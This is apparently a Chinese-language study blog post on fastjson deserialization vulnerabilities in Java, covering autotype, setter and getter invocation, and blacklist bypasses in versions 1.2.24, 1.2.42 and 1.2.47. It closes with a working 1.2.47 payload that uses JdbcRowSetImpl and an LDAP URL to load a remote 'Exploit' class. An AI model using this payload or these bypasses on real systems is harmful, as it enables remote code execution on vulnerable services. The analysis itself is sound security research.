抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

byc_404's blog

Do not go gentle into that good night

java继续开坑学习。看到哪个学哪个,shiro懒得看了。

fastjson

exp利用不必多说,主要是学习下原理。以下都在jdk1.8调试。

可以按wh1t3p1g师傅的博文学习。
https://blog.0kami.cn/2020/04/13/talk-about-fastjson-deserialization/

三个demo类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class Person {

public String name;

public Phone phone;

public Person() {
}

public Person(String name, Phone phone) {
this.name = name;
this.phone = phone;
}

@Override
public String toString(){
return name+":"+phone;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class Phone {

public String phoneNumber;

public Phone() {
}

public Phone(String phoneNumber) {
this.phoneNumber = phoneNumber;
}

public String toString(){
return this.phoneNumber;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class NewPhone extends Phone {
public String location;

public NewPhone(){
}

public NewPhone(String phoneNumber, String location) {
this.phoneNumber = phoneNumber;
this.location = location;
}

public String toString(){
return this.phoneNumber+":"+this.location;
}
}

fastjson库一般我们重点关注几个基本功能方法

  • JSON.toJSONString()
  • JSON.parse()
  • JSON.parseObject()

Test

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import com.alibaba.fastjson.JSON;

public class Test {

public static void main(String[] args) {
Person person = new Person("byc_404",new Phone("123123123"));
//Person person = new Person("byc_404",new NewPhone("123123123","china"));
String json = JSON.toJSONString(person);
System.out.println(json);
Person p = JSON.parseObject(json, Person.class);
System.out.println(p);
}
}

//ouput:
//1.
//{"name":"byc_404","phone":{"phoneNumber":"123123123"}}
//byc_404:123123123
//2.
//{"name":"byc_404","phone":{"location":"china","phoneNumber":"123123123"}}
//byc_404:123123123

这里最显著的问题就是。我们两次执行代码时在parseObject后输出的结果是一致的。这显然不符合我们的预期,因为这直接丢失了newphone类的location属性。

由于fastjson不知道需要还原的Person的Phone是本身还是子类NewPhone,面对这种多态方式,fastjson还原的是父类,而不是子类NewPhone

在这种情况下就产生了autotype.我们将上面TOJSONString这行代码更改下

1
2
3
4
5
String json = JSON.toJSONString(person, SerializerFeature.WriteClassName);

//output
//{"@type":"Person","name":"john","phone":{"@type":"NewPhone","location":"china","phoneNumber":"123123123"}}
//john:123123123:china

这里我们可以看到@type帮助我们避免了子类丢失字段的问题,成功还原了对象。但是我们自然可以想到,如果将其指定为恶意类,就可能导致恶意代码执行了。这就是最早的fastjson版本的rce漏洞。

然后因为本地jdk1.8版本太高就不复现了……打法自然是rmi / ldap两种方法。

这里提一下fastjson之所以能执行一系列方法的起因:fastjson 自动调用getter和setter以及无参数的构造函数

这里不深入跟,直接给出结论
setter提取条件:

  • 函数名长度大于等于4
  • 非静态函数
  • 限制返回类型为void或当前类
  • 函数参数只有一个
  • 函数名以set开头,第四个字符是大写或者unicde或者_或者字母f;如果函数名长度>=5,看第5位字符是不是大写的

getter提取条件:

  • 函数名长度大于等于4
  • 非静态函数
  • 函数名以get开头,第四个字符大写
  • 函数参数为0个
  • 函数的返回类型为Collection的子类或本身、Map的子类或本身、 AtomicBoolean、AtomicInteger、AtomicLong
    无相对应的setter函数

经过上述的两个条件提取后,保留了符合条件的getter和setter,并于com/alibaba/fastjson/parser/deserializer/FieldDeserializer.java#setValue函数中invoke调用,也就是说实现了类似反序列化过程中主动调用readObject函数的效果。

由条件,此时可以利用传入某字段的方式来主动调用相关符合条件的setter和getter。例如在Person里面添加一个setTest函数,并在需要转化的json中添加”test”:1,这将会主动调用setTest。
如下

1
2
3
4
public void setTest(String test) {
this.test = test;
System.out.println("setTest Method called!");
}
1
2
3
4
5
6
7
String json="{\"name\":\"byc_404\",\"phone\":{\"phoneNumber\":\"123123123\"},\"test\":\"1\"}";
Person p = JSON.parseObject(json, Person.class);
System.out.println(p);

//output:
//setTest Method called!
//byc_404:123123123

我们在利用@type构造有危害的利用链时,主要就是查找有危害的无参数的构造函数、符合条件的getter和setter。

1.2.24 修复 bypass

然后改下maven里fastjson依赖看看高一个版本的fastjson防护。发现多了一个checkAutoType方法。当然这个版本同时需要手动开启autoType.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if (this.autoTypeSupport || expectClass != null) {
int i;
String deny;
for(i = 0; i < this.acceptList.length; ++i) {
deny = this.acceptList[i];
if (className.startsWith(deny)) {
return TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
}

for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

这里做了一次白名单一次黑名单的检查。优先载入手工配置的白名单类,并对黑名单类爆出异常。
然后后面继续调用时,如果不符合前面的情况,后面就会进入这一段

1
2
3
4
5
6
7
8
9
10
11
for(i = 0; i < this.acceptList.length; ++i) {
accept = this.acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
}

跟进loadClass.

1
2
3
4
5
6
7
8
9
10
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
} else {
......

在黑名单检测之后,当开头有[或者开头有L和结尾有;时会去掉这些字符,从而造成了黑名单的绕过。因为它是用startswith检测黑名单的。

1.2.42 bypass

然后上面那个bypass的修复主要是

把黑名单全部换成hash防止深入是这个版本的特点,同时上面这个代码的作用是如果满足某个条件的话就去掉那些Lxxx;的前后第一个字符。
然而修复治标不治本,说实话有点蠢,这里只需要LLxxx;;就能绕了。
而且黑名单hash也有dalao 测过的。之前看LandGrey佬收藏过,
https://github.com/LeadroyaL/fastjson-blacklist

1.2.47 bypass

1.2.48以前的checkAutoTyye有这样一段代码。

1
2
3
4
5
6
7
8
9
if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}

......

public static Class<?> getClassFromMapping(String className) {
return (Class)mappings.get(className);
}

这里很奇怪的if的条件导致:即使前面搜到了黑名单里的类,如果mappings里面存在这个类,那么仍可以进行下一步操作。
这里的mappings是fastjson提早载入的一些缓存类

那么假如可以将恶意类加入mappings就能有绕过的效果了。

这里我们继续跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}

if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}

针对deserializers.findClass,这里类中有一个初始方法,在deserializers里面预先填充了一些类与其反序列化器的实例。


其中包括一个

1
this.deserializers.put(Class.class, MiscCodec.instance);

重点在经过autotype检查后MiscCodec这个反序列化器是怎么处理Class.class的。

1
2
3
if (clazz == Class.class) {
return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

TypeUtils.loadClass非常好用.他将使用ClassLoader.loadClass或Class.forName来载入类,在这一过程中,涉及到了mappings的操作,即调用了mappings.put(className,clazz).那么这样的话会直接将载入后的对象填入mappings。

那么只要提前将恶意类载入mappings就好了。

1
json = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\": \"ldap://localhost:1389/Exploit\",\"autoCommit\": true}}";

评论